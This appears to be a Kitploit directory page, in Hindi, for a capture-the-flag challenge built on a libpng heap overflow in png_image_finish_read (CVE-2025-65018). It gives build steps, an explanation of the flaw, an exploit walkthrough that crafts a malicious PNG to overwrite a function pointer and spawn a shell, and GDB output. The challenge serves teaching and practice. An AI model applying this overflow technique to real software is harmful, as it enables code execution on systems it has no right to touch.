Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-65018_Exploit_Challenge — libpng के png_image_finish_read में हीप ओवरफ्लो का शोषण करने वाली CTF चुनौती, फ़ंक्शन पॉइंटर को अधिलेखित करने और शेल उत्पन्न करने के लिए, बिल्ड स्क्रिप्ट और शोषण जनरेटर के साथ। | Kitploit
उपकरण/GitHubGitHub/bohemian-miser/cve-2025-65018_exploit_challenge
भेद्यता विश्लेषणशोषणCTFलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHubbohemian-miser/cve-2025-65018_exploit_challenge

CVE-2025-65018_Exploit_Challenge

libpng के png_image_finish_read में हीप ओवरफ्लो का शोषण करने वाली CTF चुनौती, फ़ंक्शन पॉइंटर को अधिलेखित करने और शेल उत्पन्न करने के लिए, बिल्ड स्क्रिप्ट और शोषण जनरेटर के साथ।

रिपॉजिटरी देखें
129 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-65018 CTF चुनौती: "PNG Panic"

यह चुनौती libpng में एक वास्तविक दुनिया के बफर ओवरफ्लो भेद्यता पर आधारित है (विशेष रूप से सरलीकृत API png_image_finish_read से संबंधित जब 16-बिट इंटरलेस्ड छवियों को संभालते हैं)।

🚩 चुनौती का लक्ष्य

आपको एक भेद्य बाइनरी victim प्रदान की गई है जो libpng के स्टैटिकली लिंक किए गए भेद्य संस्करण का उपयोग करती है। एप्लिकेशन exploit.png नामक एक PNG फ़ाइल को बफर में पढ़ता है।

आपका उद्देश्य एक दुर्भावनापूर्ण PNG फ़ाइल तैयार करना है जो हीप ओवरफ्लो को ट्रिगर करके Logger संरचना में एक फंक्शन पॉइंटर को ओवरराइट करता है (जो छवि बफर के ठीक बाद स्थित है), निष्पादन को win() फ़ंक्शन पर पुनर्निर्देशित करके शेल स्पॉन करता है।


🛠️ सेटअप और निर्माण

पूर्वापेक्षाएँ: gcc, make, python3, git, autoconf, automake, libtool।

  1. रिपॉजिटरी क्लोन करें:

    root@kitploit:~
    git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
    cd CVE-2025-65018_Exploit_Challenge
    
  2. चुनौती का निर्माण करें (भेद्य libpng सहित):

    root@kitploit:~
    ./build.sh
    

    यह स्क्रिप्ट निम्नलिखित करेगी:

    • शामिल libpng स्रोत कोड को कॉन्फ़िगर और पैच करें ताकि भेद्यता सक्षम हो सके।
    • स्टैटिक libpng लाइब्रेरी बनाएं।
    • victim बाइनरी को कंपाइल करें।

🔍 भेद्यता विवरण

भेद्यता इस बात में मौजूद है कि libpng इंटरलेस्ड छवियों को 16-बिट इनपुट से 8-बिट आउटपुट में बदलते समय कैसे संभालता है।

  1. बेमेल: एप्लिकेशन 8-बिट आउटपुट प्रारूप (PNG_FORMAT_RGBA) का अनुरोध करता है। libpng 8-बिट डेटा के लिए पर्याप्त बफर आकार आवंटित करता है।
  2. दोष: इंटरलेस्ड पास (Adam7) के प्रसंस्करण के दौरान, आंतरिक फ़ंक्शन png_combine_row गलत तरीके से इनपुट की 16-बिट बिट गहराई का उपयोग करके आउटपुट बफर में डेटा लिखता है।
  3. परिणाम: प्रत्येक पिक्सेल के लिए, यह प्रति चैनल 1 बाइट के बजाय 2 बाइट लिखता है, प्रभावी रूप से उस पंक्ति के लिए अपेक्षित डेटा की मात्रा से दोगुना लिखता है, जिससे हीप बफर ओवरफ्लो हो जाता है।

💥 शोषण वॉकथ्रू

1. लक्ष्य पता खोजें

बाइनरी में एक सहायक फ़ंक्शन win() है जो execl("/bin/sh", ...) को कॉल करता है। हमें इसका पता चाहिए। चूंकि बाइनरी -no-pie के साथ संकलित है, पते स्थिर हैं।

root@kitploit:~
nm victim | grep win
# Output: 00000000004013e0 T win

लक्ष्य पता: 0x4013e0

2. पेलोड तैयार करना (solve.py)

हमें एक मान्य PNG बनाना होगा जो:

  1. इंटरलेस्ड (Adam7) हो ताकि भेद्य कोड पथ ट्रिगर हो।
  2. एक हेडर (IHDR) हो जो 16-बिट गहराई निर्दिष्ट करता हो।
  3. पिक्सेल डेटा हो जो 16-बिट मानों के रूप में लिखे जाने पर हमारा वांछित पेलोड (win का पता) बनाता हो।

solve.py स्क्रिप्ट यह करती है:

  • यह 32x32 छवि बनाती है।
  • यह Logger संरचना के ऑफसेट की गणना करती है (जो बफर की शुरुआत के बाद 4096 बाइट्स है)।
  • यह win पते को अंतिम पंक्ति के पिक्सेल डेटा में रखती है।
  • यह डेटा को IDAT चंक में संपीड़ित करती है।

पेलोड लेआउट: win पता 0x4013e0 (लिटिल एंडियन: E0 13 40 00 ...) को 16-बिट RGB पिक्सेल में एनकोड करने की आवश्यकता है।

  • प्रत्येक 16-बिट चैनल 2 बाइट्स है।
  • हम पते के बाइट्स को अंतिम पंक्ति में विशिष्ट पिक्सेल के लाल, हरे और नीले चैनलों में मैप करते हैं।

3. शोषण चलाना

दुर्भावनापूर्ण PNG उत्पन्न करें:

root@kitploit:~
python3 solve.py 4013e0

यह exploit.png बनाता है।

victim चलाएँ:

root@kitploit:~
./victim

अपेक्षित आउटपुट:

root@kitploit:~
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$ 

🐛 GDB विश्लेषण

ओवरफ्लो को क्रियाशील देखने के लिए, आप GDB का उपयोग कर सकते हैं।

1. भेद्य कॉल से पहले ब्रेक करें:

root@kitploit:~
break 62
run

2. ओवरराइट पर नज़र रखें: Logger संरचना ऑफसेट 4096 पर है। चलिए लक्ष्य फंक्शन पॉइंटर पर नज़र रखते हैं।

root@kitploit:~
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue

3. ट्रिगर करें: GDB तब रुकेगा जब png_combine_row फंक्शन पॉइंटर पर लिखता है।

root@kitploit:~
Hardware watchpoint 2: *0x7fffffffc8f0

Old value = 4199366  (0x4013c6 <normal_log>)
New value = 4199392  (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()

यह पुष्टि करता है कि libpng ने हमारे पॉइंटर को win के पते से ओवरराइट कर दिया!


📁 फ़ाइलें

  • victim.c: भेद्य स्रोत कोड।
  • solve.py: शोषण जनरेटर।
  • libpng-src/: libpng का स्रोत कोड (v1.6.37)।
  • build.sh: सब कुछ संकलित करने की स्क्रिप्ट।
  • Makefile: victim बाइनरी के लिए निर्माण प्रणाली।
टूल डाउनलोड करें